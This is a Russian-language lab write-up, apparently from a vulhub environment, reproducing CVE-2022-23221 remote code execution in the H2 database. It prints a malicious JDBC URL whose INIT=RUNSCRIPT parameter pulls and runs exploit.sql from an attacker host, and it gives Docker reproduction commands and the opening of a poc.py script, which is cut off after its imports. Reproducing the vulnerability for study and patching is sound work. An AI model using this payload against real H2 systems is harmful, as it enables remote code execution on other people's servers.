
H2-database-CVE-2022-23221 — Updated!
vulhub/H2-database/CVE-2022-23221
RCE в базе данных H2 (CVE-2022-23221)
1. Краткое описание
-
H2 — это система управления реляционными базами данных, которая предоставляет возможность компилировать и выполнять Java-код непосредственно внутри SQL-движка.
-
Драйвер H2 разбирает JDBC URL для установления соединения между приложением и базой данных. При этом через параметры конфигурации, включённые в URL, можно управлять начальным состоянием или поведением базы данных.
-
В уязвимых версиях H2 до 2.1.210 существует проблема, позволяющая через параметр INIT в JDBC URL выполнять удалённые SQL-скрипты. Злоумышленник эксплуатирует это, внедряя с удалённой стороны специально сформированный SQL-скрипт и выполняя через его внутренние конструкции системные команды, что и приводит к уязвимости CVE-2022-23221.
-
Особенности этой уязвимости следующие.
- Не требуется аутентификация: любой, у кого есть право вводить JDBC URL, может воспользоваться этой уязвимостью и захватить контроль над системой.
- Автоматический запуск при старте сервиса: если злоумышленник изменит только файл конфигурации, RCE (удалённое выполнение кода) произойдёт автоматически при запуске сервиса, использующего H2.
- Скрытность: разработчику трудно распознать атаку.
- Широкий масштаб ущерба: благодаря высокой скорости и лёгкости H2 используется для разработки и тестирования различных веб-сервисов. Поскольку любой сценарий, где JDBC URL задаётся через файл конфигурации или на основе пользовательского ввода, может стать целью атаки с использованием этой уязвимости, масштаб последствий велик.
-
Область воздействия уязвимости
- Уязвимые версии: H2 ниже 2.1.210
- Исправленная версия: H2 2.1.210 и выше
2. Условия уязвимости
- Версия должна быть ниже H2 2.1.210.
- JDBC URL должен содержать
IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’.IGNORE_UNKNOWN_SETTINGS=TRUE,FORBID_CREATION=FALSE-> обход настроек безопасности- При наличии этих параметров настройки безопасности нейтрализуются, поэтому при инициализации команда выполнения удалённого скрипта не блокируется и выполняется как есть.
INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql'-> SQL-команда, автоматически выполняемая при соединении приложения с БД- Если в качестве значения параметра INIT указаны SQL-команда RUNSCRIPT и адрес вредоносного скрипта, H2 при установлении соединения между приложением и БД H2 подключается к этому серверу, скачивает файл и выполняет его.
- Скачанный SQL-скрипт должен содержать SQL-конструкцию
CREATE ALIAS.- Конструкция
CREATE ALIASвнутри удалённо выполняемого скрипта заставляет H2 выполнить Java-функцию из скрипта внутри БД, что в результате приводит к RCE.
- Конструкция
3. Настройка окружения
-
Сценарий
- Разворачивается уязвимое окружение H2, и в H2 вводится вредоносный JDBC URL. H2 разбирает этот URL без должной проверки и получает sql-файл с сервера attacker и выполняет его. Если в логах сервера h2-vulnerable появится строка “EXPLOITED” вместе с результатами выполнения команд
id,whoami,pwd, это означает, что уязвимое окружение H2 развёрнуто и что в процессе разбора вредоносного JDBC URL файл exploit.sql был удалённо скачан с внешнего сервера attacker и выполнен.
- Разворачивается уязвимое окружение H2, и в H2 вводится вредоносный JDBC URL. H2 разбирает этот URL без должной проверки и получает sql-файл с сервера attacker и выполняет его. Если в логах сервера h2-vulnerable появится строка “EXPLOITED” вместе с результатами выполнения команд
-
Настройка окружения
docker compose up -d
- При выполнении команды запускаются следующие окружения.
- h2-vulnerable: H2 2.0.206 (уязвимая версия до патча)
- Веб-консоль H2:
http://your-ip:8082 - TCP-сервер:
tcp://your-ip:9092
- Веб-консоль H2:
- attacker: HTTP-сервер
http://your-ip:8000: предоставляет файлexploit.sql
-
После настройки окружения при подключении к http://your-ip:8082 открывается веб-страница H2.
4. Порядок воспроизведения
: В веб-консоли применяется политика безопасности, поэтому параметры, являющиеся условием уязвимости, могут быть отфильтрованы; таким образом, для воспроизведения уязвимости вредоносный параметр JDBC URL вводится напрямую через CLI, и проверяется результат.
[Случай нормального запроса]
-
Нормальный JDBC URL: "jdbc:h2:mem:test"
-
Команда нормального запроса
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \ -url "jdbc:h2:mem:test" \ -user sa \ -password "" -
Результат выполнения

- Запросов, поступивших на сервер attacker, нет
- На сервере h2-vulnerable не выводится никаких логов
[Случай атаки на уязвимость]
- Вредоносный JDBC URL: "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
1. Выполнение атаки
-
Вредоносный JDBC URL вводится в драйвер H2, чтобы попытаться установить соединение с сервером attacker. При этом есть 2 способа ввода URL.
- Напрямую ввести вредоносный JDBC URL в H2 Shell через CLI.
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \ -url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \ -user sa \ -password ""
- Запустить файл PoC.
python3 poc.py
2. Запрос и выполнение файла
-
H2 в соответствии с указанным в параметре INIT JDBC URL
INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'запрашивает (HTTP GET) файл exploit.sql у сервера attacker и выполняет его внутри базы данных H2.- При выполнении
docker logs attackerможно увидеть лог запроса файла exploit.sql, поступившего с сервера h2-vulnerable.
docker logs attacker
- Сервер attacker возвращает запрошенный файл exploit.sql, а сервер h2-vulnerable выполняет полученный файл exploit.sql. При этом конструкция CREATE ALIAS внутри скрипта инициирует выполнение Java-кода, в результате чего возникает RCE
- При выполнении
5. Код poc.py
#!/usr/bin/env python3
# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.
import subprocess
import time
import sys